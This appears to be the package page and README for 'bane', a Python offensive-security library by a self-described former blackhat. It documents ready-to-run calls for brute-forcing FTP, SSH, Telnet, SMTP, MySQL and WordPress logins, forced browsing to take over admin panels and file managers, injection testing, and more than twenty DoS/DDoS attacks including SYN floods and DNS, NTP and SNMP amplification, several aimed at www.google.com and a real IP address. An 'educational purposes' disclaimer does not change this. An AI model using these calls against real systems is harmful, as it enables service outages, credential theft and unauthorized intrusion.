qbane 1.0.1
cyber security library
License: MIT License
Requires Python: >=2.7

"Oh, you think darkness is your ally. But you merely adopted the dark; I was born in it, molded by it. I didn't see the light until I was already a man, by then it was nothing to me but BLINDING! The shadows betray you, because they belong to me!" -Bane (Dark Knight)



                                .///` `.--::::::---.`` `///.                                    
                                h-.-s+++/--<br>.---/+o++s:.-h                                    
                                ++..-.                `:../s                                    
                             -+ydm-..:                :..-dmho:`                                
                          :odmNNNNs..-.              `:..+MNNNmmy/.                            `
                       .odmNNNNMMMN`..:              -..`mMMMMNNNNmy:                           
                      +mNNNNMMMMMMMo`.:`             :``/MMMMMMMMNNNmy.                         
                    .yNNNNMMMMMMMMMd` `-<br>```````..-` `yMMMMMMMMMMNNNd:                        
                   -dNNNMMMMMMMMMMMN`  ..-`      `-`-   mMMMMMMMMMMMMNNmo                       
                  :mNNNMMMMMMMMMMMMM:   .         `.`  -MMMMMMMMMMMMMMNNNs`                     
                 /mNNNMMMMMMMMMMMMMMy   ---      .--   oMMMMMMMMMMMMMMMNNNy`                    
                :mNNNMMMMMMMMMMMMMMMN```:.````````.:```dMMMMMMMMMMMMMMMMNNNy`                   
               -mNNNNMMMMMMMMMMMMMMMMo`.-`        `-.`+MMMMMMMMMMMMMMMMMNNNNo                   
               hNNNNNMMMMMMMMMMMMMMMMm.``-        .``.dMMMMMMMMMMMMMMMMMMNNNm-                  
              -NNNNNMMMMMMMMMMMMMMMMMM-..:        -<br>NMMMMMMMMMMMMMMMMMMNNNNs                  
              oNNNNNMMMMMMMMMMMMMMMMMMo``.`       -` +MMMMMMMMMMMMMMMMMMMNNNNm                  
             :dNNNNNNMMMMMMMMMMMMMMMMMd<br>-``````<br>.hMMMMMMMMMMMMMMMMMMMNNNNNs.                
           .ssmNNNNNNMMMMMMMMMMMMMMMMMM.``/:.  .-/```NMMMMMMMMMMMMMMMMMMNNNNNNyy+`             `
         `oy: mNNNNNNMMMMMMMMMMMMMMMMMM/``-`    `-``:MMMMMMMMMMMMMMMMMMMNNNNNN/`+y:            `
         +y`  dNNNNNNMMMMMMMMMMMMMMMMMMy..-:-  --:..oMMMMMMMMMMMMMMMMMMMNNNNNN:  -N`            
         m-   hNNNNNNMMMNdhhyyhddmMMMMMd```:.``.:```hMMMMNdhso++++shmNMMMNNNNN:   yo           `
        /d    yNNNNNMMh/-````````.-/ydNM.``-    -```NNds:.`..-----..-sNMMNNNNN-   -m`           
        h+    sNNNNNMMmsyhddmmmdhs:` `-o/../`  `/-.:+-` `:yhddmNNNNmmNMMMNNNNN.    d/           
        m/    oNNNNNMMMMMMMNdyssoooo:` `:..``.+```.-.  :o++//+yydMMMMMMMMNNNNN`   .so           
        d--   /NNNNNNMMMMMmyhm//   ymy.`-     o    `- odm:-  .ddssNMMMMMNNNNNm    /:s           
       .h /   :NNNNNNNMMMmhshhy+++ohy/. .:   `o`  `/``-shysssyddddNMMMMNNNNNNd   --.h 
       -y `:  .NNNNNNNMMMMMMMMNNmmmhys/:.`..``.``..`-:syhhdmNNMMMMMMMMMMNNNNNy   / `d 
       :s  :`  dNNNNNMMMMMMMMMNNNmmNNh-    `.`  `.`  `+mMNNNNNMMMMMMMMMMNNNNN+  :`  m          `
       /o   /` oNNNNMMMMMMMMMMMMMMmd+.. `.:- -` - -:.. -sddmNMMMMMMMMMMMMNNNm. .:   m          `
       ++   `:``dNNNMMMMMMMMMMMNo+/.`./-. o`  --`  o `-/.``/+omMMMMMMMMMMNNNo .:    d`         `
       -h    `:`:mNNMMMMMMMMMMd-.+.+--:.`.+.-.::.-./-`.:--/:+..hMMMMMMMMMNNh`.:    -h          `
        s:    `:`+mNMMMMMMMMMm- `/:` o/://++:++++:+/+/:/o``:+` .mMMMMMMMMNd..:     y-           
        .h     `:`/hNMMMMMMd+: -::<br>s-:+`.+:+-.+:+:`/:-+:-.-:- :NMMMMMMNy.--    :y            
         o/   ` `:``:ymMNh:`-  /:-+`o::/`  +:/. +:+`  /::o./--+  /omMNdo- --  `   h.            
         `d` `+.` :.` -s:  -` ./:::`/::/   +-/. +-+`  :::/`-:::- `-`++.``-. `-+  :s             
          o+  /`-:``.-.   `-  /--/  /:-:   +-/. +-+   :-:+  /--/  .. `--. .:..:  h.             
          `d` :` +h+.     -  `+-:: .+-:+..-+://-+:+-../:-+-`-:-/.  -`   -yd. /  /s              
           o+ `:. -ydo.  -`  //::..o/-:o:.//:/++/:/+.:+/-/+: /::o   : :yd+``--  d.              
           `d   .:. -sy ..  .o--+ -.+-.`.-/<br>:/<br>/--`.-+.: +--o-  `/d+``--`:s               
            s/    .:` :.:```-o--o.-.:-` `:/   .:   /:` `-/ / s:-o-```+``.-`    h.               
            .h      -:`/.///`/..`:-.:`<br> <br><br><br>. <br>`: /--../ //:o.:.-y                
             s:       -o/::/:--.-.-.:                    : /`:.---/::+.       y-                
             `h.       ``/. `/ `  -.:```   <br><br>..`  ```: /  ` :` ./.     +o                 
              .y.         -.--    -.:.``- -```::```: ..`./ :    .-.-`       /s                  
               .y-                -.:```: :/::o+/::/ : ``: :              `+o                   
                `s+`     -..-     -.o/:/: `+::+//:+. -/::o`:     ..`-`   .s/                    
                  :s-  ./-  `-    -.o//o.  /:::-::+  `o//o :    -`  ./.`+o.                     
                   `/o:+..+`.`    -.://+<br>+--//:-+<br>////`:    `../-.ss-                       
                      /h  /` ..-`  .-o/+:..+--//:-+..-o/+:.` `-.- `+  y-                        
                       o+``.-+-.::<br>o//o- /--::--+ .o//s<br>:/.-//:``:s                         
                        -o:```.//:   :+::+.o--oo:-o.+::+/   :/o.```:o:                          
                          -o++oy.:    .- /`o::oo:-+-/ --    /o++++o:                            
                               `os      .. /..//../ ..`    `s:                                  
                                `o+.       `:`:-.-.     `.++-                                   
                                  `/+/.`    `.  .`   `-++:`                                     
                                     `:+++/:-<br>-:+++/-                                         
                                          `.-::--`                                              
                                                                                               `



---------------------------------------------------------------------------------------------------------------------------
                                                      INTRODUCTION:
---------------------------------------------------------------------------------------------------------------------------

This python library is made for educationnal purposes only. Me, as the creator and developper, not responsible for any misuse for this module in any malicious activity. it is made as a tool to understand how hackers can create their tools and performe their attacks. it contains most of known attacks and exploits. it can be used to perform: DoS and DDoS attacks (all known tools are included), information gathering, scrapping proxies, crawling, google dorking, checking for vulnerabilities (sql injection (all types), xss, command execution, php code injection, FI, forced browsing<br>) and even more ;)

---------------------------------------------------------------------------------------------------------------------------
                                                      SPECIAL SPEECH:
---------------------------------------------------------------------------------------------------------------------------

this is dedicated to my mentor: Zachary Barker ( https://www.facebook.com/zachary.barker.5439 ), he was my leader and teacher through my journey in hacking world and groups, we have been through a lot together and were there in many operations when i was an active member in blackhat community but now he is dead in a hit-and-run :( . he was one of my true cyber bros:

-S0u1 ( https://www.facebook.com/S0u1.HLoTW ) : programmer and blackhat.
<br>-Vince ( https://www.facebook.com/vincelinux ) : Linux and hardware expert, social engeneering and programmer.
<br>-Zachary Barker (lulz zombie) : teams leader, anarkist, ops organizer, progammer, cyber security expert and blackhat.
<br>-Lulztigre (https://www.twitter.com/lulztigre) : Bug Bounty Hunter, Penetration Tester And Python Programmer.
<br>-Jen Hill.
<br>in the honor of all my bros and the memory of my bro zach im sharing all my personal hacking tools with public for the first time. plz use it wisely :)

now let's start some tutorials, shall we?

---------------------------------------------------------------------------------------------------------------------------
                                                      TUTORIALS:
---------------------------------------------------------------------------------------------------------------------------
I-INSTALLING THE LIBRARY AND IMPORTING:
---------------------------------------------------------------------------------------------------------------------------

you can use pip to do that:


pip install bane

<br>or you can clone the project's link then run setup.py<br>

<br>git clone https://github.com/AlaBouali/bane
<br>cd bane
<br>python setup.py install

<br>to import it you just do:


import bane


<br><h2>NOTES:</h2>

<h4>-you need to install "expect" on linux or mac</h4>
<h4>-for windows' users you can't use: bane.ssh1() and bane.telnet1() because they depend on pexpect and it need expect package to work, which can't be installed on windows</h4>
<h4>-termux's users can't use this library cuz some module can't be installed, so it's pointless :(</h4>

---------------------------------------------------------------------------------------------------------------------------
II-USAGE:
---------------------------------------------------------------------------------------------------------------------------


this module have many incredible, useful and easy use functions that can be implemented in any project that is related to Web Application's Security.

<br><h1>Vulnerabilities:</h1>


default parameters:
<br>logs=True (print the test's result on the screen, set to False to not display).
<br>returning=False (return a value indicating the success (1/True) or fail (0/False) of the test).
<br>timeout: timeout value.
<br>proxy: same way as you use "proxies" parameters in requests.

<h2>1-SQL-Injection:</h2> (useful link: https://www.acunetix.com/websitesecurity/sql-injection2/ )


<br>let's start with a simple SQL Injection testing. there are some techniques that can tell us if the web application is vulnerable to SQL-Injection or not, there is:

<br>-Error Based.
<br>-boolean based.
<br>-time based.

<br>here we have functions that can determinate whether the web application is vulnerable to SQL-Injection or not using the mentioned techniques.


bane.sqlieb('http://example.com/index.php?id=5')#testing for Error Based SQLI


bane.sqlitb('http://example.com/index.php?id=5')#testing for Time Based SQLI


bane.sqlibb('http://example.com/index.php?id=5')#testing for Boolean Based SQLI

t
hey return only 2 possible results:

<br>False: the target is not vulnerable.
<br>True: the target is vulnerable.<br>


<h2>2-XSS:</h2> (useful link: https://www.acunetix.com/vulnerabilities/web/cross-site-scripting/ )


<br>Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

<br>here we have a function to get all html inputs in any webpage and test each input one by one against this attack with both: GET and POST methods.

bane.xss('https://xss-game.appspot.com/level1/frame')

<br>output:
<br><br>Getting parameters
<br>Test has started
<br>Payload:
<script>alert("Vulnerable!!!");</script>
<br>parameter: query method: GET=> [+]Payload was found
<br>parameter: query method: POST=> [-]Payload was not found

there is a default payload which is used in case you didn't modify the "payload" parameter (set by default to: None) to any XSS payload.you can set differnet xss payloads to test everytime with possibility to use a proxy.

<br>
there is another functions to test with:

<br>bane.xssget('http://example.com/index.php',{parameter: xss-payload-here})

<br>bane.xsspost('http://example.com/index.php',{parameter: xss-payload-here})<br>




<br><br><h2>3-FI:</h2> (File Inclusion): (useful link: https://www.acunetix.com/vulnerabilities/web/file-inclusion/ )

<br><br>we can test a web application if it is vulnerable to FI using this function:

<br>bane.fi('http://example.com/index.php?file=page1.php')

<br>it returns (in case the parameter "returning" set to: True) a dict that contains 
<br>{ "Status" : status # ==>True if success or False is fail
,<br>"Nullbyte" : nullbyte # ==>True if "nullbyte" parameter is set to True
<br>,"Link" : r.url # ==> the result URL}<br>


<br><h2>4-PHP code injection:</h2> (useful link: https://www.acunetix.com/vulnerabilities/web/php-code-injection/ )


<br>to test a web application against PHP code injection we can use those functions:


<br>bane.injectlink('http://example.com/index.php?id=2')

<br>if it returns:

<br>False: not vulnerable
<br>True: vulnerable


<br>you can use another functions to do that as well:

<br>bane.getinject('http://example.com/index.php',param=parameter-here)

<br>bane.postinject('http://example.com/index.php',param=parameter-here)



<br><h2>5-command injection:</h2> (useful link: https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013) )

<br>OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications. 

<br>here we can test the web application against this type of vulnerabilities using those functions:


<br>bane.execlink('http://example.com/index.php?doc=1')

<br>bane.getexec('http://example.com/index.php',param=your_parameter_here)

<br>bane.postexec('http://example.com/index.php',param=your_parameter_here)


<br><h2>5-forced browsing:</h2> (useful link: https://www.owasp.org/index.php/Forced_browsing )

<br>Forced browsing is an attack where the aim is to enumerate and access resources that are not referenced by the application, but are still accessible.

An attacker can use Brute Force techniques to search for unlinked contents in the domain directory, such as temporary directories and files, and old backup and configuration files. These resources may store sensitive information about web applications and operational systems, such as source code, credentials, internal network addressing, and so on, thus being considered a valuable resource for intruders.

This attack is performed manually when the application index directories and pages are based on number generation or predictable values, or using automated tools for common files and directory names.

This attack is also known as Predictable Resource Location, File Enumeration, Directory Enumeration, and Resource Enumeration. 

<br><h3>admin panel:</h3>
we can access and enumerate some or all internal admin panel pages using this method and takeover the panel!!!

<br>bane.forcebrowsing('http://example.com/admin/' , ext="php",timeout=10)

or

<br>bane.forcebrowsing('http://example.com/admin/' , ext="asp")

<br>also you can use a function here to find the site's admin login panel:

<br>bane.adminpanel('http://example.com/admin/' , ext="php",timeout=7)

<br>the default extension is "php", you can change it as you like to: asp, aspx<br> using the parameter "ext".

<br><h3>filemanager:</h3>

<br>we can bruteforce the path to a possible filemanager and takeover it using this technique:

<br>bane.filemanager('http://example.com')


<br><h2>6-Slow DoS vulnerabilities:</h2> (useful link: https://www.cloudflare.com/learning/ddos/ddos-low-and-slow-attack/ )

<br><h3>high timeout value:</h3>

<br>bane.timeouttest('www.google.com',port=443)

<br><h3>slow GET attack test:</h3>

<br>bane.slowgettest('www.google.com',port=80)

<br><h3>slow POST attack test:</h3>

<br>bane.slowposttest('www.google.com',port=80)


<br><h3>slow read attack test:</h3>

<br>bane.slowreadtest('www.google.com',port=80)


<br><h3>connections per IP test:</h3>

<br>bane.connectionslimit('www.google.com',port=80)


<br><h2>7-Bruteforce attacks:</h2> (useful link: https://www.acunetix.com/vulnerabilities/web/login-page-password-guessing-attack/ )


<br>here we are doing a bruteforce attach against a target using a list of usernames and passwords, if the loin function returned True, then logins founds else it failed.

<br><h3>FTP:</h3>

<br>wordlist=["admin:admin","admin:12345","root:root"]
<br>for x in wordlist:
<br>&nbsp;user=x.split(":")[0]
<br>&nbsp;pwd=x.split(":")[1]
<br>&nbsp;print'"[*]Trying:",user,pwd
<br>&nbsp;if bane.ftp("example.com",username=user,password=pwd)==True:
<br>&nbsp;&nbsp;print'[+]Found'
<br>&nbsp;&nbsp;break
<br>&nbsp;else:
<br>&nbsp;&nbsp;print'[-]Failed'


<br><h3>SSH:</h3>

<br>here we have 2 different ways to logins to a ssh server:

<br><h4>ssh1:</h4>(using pexpect module with "spawn" instead of "pexssh", which is more cleaver) 

<br>wordlist=["admin:admin","admin:12345","root:root"]
<br>for x in wordlist:
<br>&nbsp;user=x.split(":")[0]
<br>&nbsp;pwd=x.split(":")[1]
<br>&nbsp;print'"[*]Trying:",user,pwd
<br>&nbsp;if bane.ssh1("example.com",username=user,password=pwd)==True:
<br>&nbsp;&nbsp;print'[+]Found'
<br>&nbsp;&nbsp;break
<br>&nbsp;else:
<br>&nbsp;&nbsp;print'[-]Failed'


<br><h4>ssh2:</h4>(using paramiko module) 

<br>wordlist=["admin:admin","admin:12345","root:root"]
<br>for x in wordlist:
<br>&nbsp;user=x.split(":")[0]
<br>&nbsp;pwd=x.split(":")[1]
<br>&nbsp;print'"[*]Trying:",user,pwd
<br>&nbsp;if bane.ssh2("example.com",username=user,password=pwd)==True:
<br>&nbsp;&nbsp;print'[+]Found'
<br>&nbsp;&nbsp;break
<br>&nbsp;else:
<br>&nbsp;&nbsp;print'[-]Failed'


<br><h3>TELNET:</h3>

<br>here we have 2 different ways to logins to a telnet server:

<br><h4>telnet1:</h4>(using pexpect module with "spawn" instead of "pexssh", which is more cleaver) 

<br>wordlist=["admin:admin","admin:12345","root:root"]
<br>for x in wordlist:
<br>&nbsp;user=x.split(":")[0]
<br>&nbsp;pwd=x.split(":")[1]
<br>&nbsp;print'"[*]Trying:",user,pwd
<br>&nbsp;if bane.telnet1("example.com",username=user,password=pwd)==True:
<br>&nbsp;&nbsp;print'[+]Found'
<br>&nbsp;&nbsp;break
<br>&nbsp;else:
<br>&nbsp;&nbsp;print'[-]Failed'


<br><h4>telnet2:</h4>(using telnetlib module) 

<br>wordlist=["admin:admin","admin:12345","root:root"]
<br>for x in wordlist:
<br>&nbsp;user=x.split(":")[0]
<br>&nbsp;pwd=x.split(":")[1]
<br>&nbsp;print'"[*]Trying:",user,pwd
<br>&nbsp;if bane.telnet2("example.com",username=user,password=pwd)==True:
<br>&nbsp;&nbsp;print'[+]Found'
<br>&nbsp;&nbsp;break
<br>&nbsp;else:
<br>&nbsp;&nbsp;print'[-]Failed'


<br><h3>SMTP:</h3>

<br>wordlist=["admin:admin","admin:12345","root:root"]
<br>for x in wordlist:
<br>&nbsp;user=x.split(":")[0]
<br>&nbsp;pwd=x.split(":")[1]
<br>&nbsp;print'"[*]Trying:",user,pwd
<br>&nbsp;if bane.smtp("example.com",username=user,password=pwd)==True:
<br>&nbsp;&nbsp;print'[+]Found'
<br>&nbsp;&nbsp;break
<br>&nbsp;else:
<br>&nbsp;&nbsp;print'[-]Failed'

<br><h3>MYSQL:</h3>

<br>wordlist=["admin:admin","admin:12345","root:root"]
<br>for x in wordlist:
<br>&nbsp;user=x.split(":")[0]
<br>&nbsp;pwd=x.split(":")[1]
<br>&nbsp;print'"[*]Trying:",user,pwd
<br>&nbsp;if bane.mysql("example.com",username=user,password=pwd)==True:
<br>&nbsp;&nbsp;print'[+]Found'
<br>&nbsp;&nbsp;break
<br>&nbsp;else:
<br>&nbsp;&nbsp;print'[-]Failed'

<br><h3>ADMIN LOGIN:</h3>

<br>wordlist=["admin:admin","admin:12345","root:root"]
<br>for x in wordlist:
<br>&nbsp;user=x.split(":")[0]
<br>&nbsp;pwd=x.split(":")[1]
<br>&nbsp;print'"[*]Trying:",user,pwd
<br>&nbsp;if bane.adminlogin("http://example.com/admin/login.php",{'username':user,'password':pwd)==True:
<br>&nbsp;&nbsp;print'[+]Found'
<br>&nbsp;&nbsp;break
<br>&nbsp;else:
<br>&nbsp;&nbsp;print'[-]Failed'



<br><h3>WORDPRESS ADMIN LOGIN:</h3>


<br>wordlist=["admin:admin","admin:12345","root:root"]
<br>for x in wordlist:
<br>&nbsp;user=x.split(":")[0]
<br>&nbsp;pwd=x.split(":")[1]
<br>&nbsp;print'"[*]Trying:",user,pwd
<br>&nbsp;if bane.wpadmin("http://example.com/",username=user,password=pwd)==True:
<br>&nbsp;&nbsp;print'[+]Found'
<br>&nbsp;&nbsp;break
<br>&nbsp;else:
<br>&nbsp;&nbsp;print'[-]Failed'



<br><h3>HYDRA TOOL:</h3> 

<br>hydra is a famous tool that is widely used for bruteforce attacks. here is a python version of it in python based on the above functions.
<br>it takes the following parameters:

<br>proto:set by default to: "ssh", it can be set to: "ftp","ssh","telnet","smtp","mysql","wp" (to bruteforce WP sites on HTTP protocol)<br>p: target port, set by default to: 22<br>wl: the list contains usernames and passwords seperated by ":", ex: ["admin:admin","admin:12345","root:root"]


<br>wordlist=["admin:admin","admin:12345","root:root"]
<br>bane.hydra("127.0.0.1",proto="telnet",p=23,wl=wordlist)


<br><h1>DoS / DDoS:</h1> (useful link: https://en.wikipedia.org/wiki/Denial-of-service_attack )



<br>bane.hulk('www.google.com',threads=1000) #hulk attack

<br>bane.proxhulk('www.google.com',threads=1000) #hulk attack with http proxies

<br>bane.slowloris('www.google.com',p=80,threads=50) #slowloris attack

<br>bane.xerxes('www.google.com',p=443,threads=500) #xerxes attack

<br>bane.httpflood('www.google.com',p=80,threads=1000) #http flood

<br>bane.lulzer('www.google.com',p=80,threads=1000) #http flood with proxies

<br>bane.tcpflood('www.google.com',threads=1000) #tcp flood

<br>bane.udp('50.63.33.34',p=80) #udp flood

<br>bane.doser('https://www.google.com',threads=500)

<br>bane.proxdoser('https://www.google.com',threads=500)

<br>bane.torshammer('www.google.com',p=80,threads=1000)

<br>bane.slowread('www.google.com',p=80,threads=1000)

<br>bane.apachekiller('www.google.com',p=80,threads=500)

<br>bane.goldeneye('www.google.com',p=80,threads=1000)

<br>bane.medusa('www.google.com',p=80,threads=1000)

<br>bane.icmp('50.63.33.34',p=80,threads=100)

<br>bane.synflood('50.63.33.34',p=80,threads=100)

<br>bane.icmpstorm('50.63.33.34',p=80,threads=100)

<br>bane.land('50.63.33.34',p=80,threads=100)

<br>bane.udpstorm('50.63.33.34',p=80,threads=100)

<br>bane.blacknurse('50.63.33.34',p=80,threads=100)

<br>bane.dnsamplif('50.63.33.34',p=80,dnslist=[your_dns_servers_list_here],threads=100)

<br>bane.ntpamplif('50.63.33.34',p=80,dnslist=[your_ntp_servers_list_here],threads=100)

<br>bane.snmpamplif('50.63.33.34',p=80,dnslist=[your_snmp_servers_list_here],threads=100)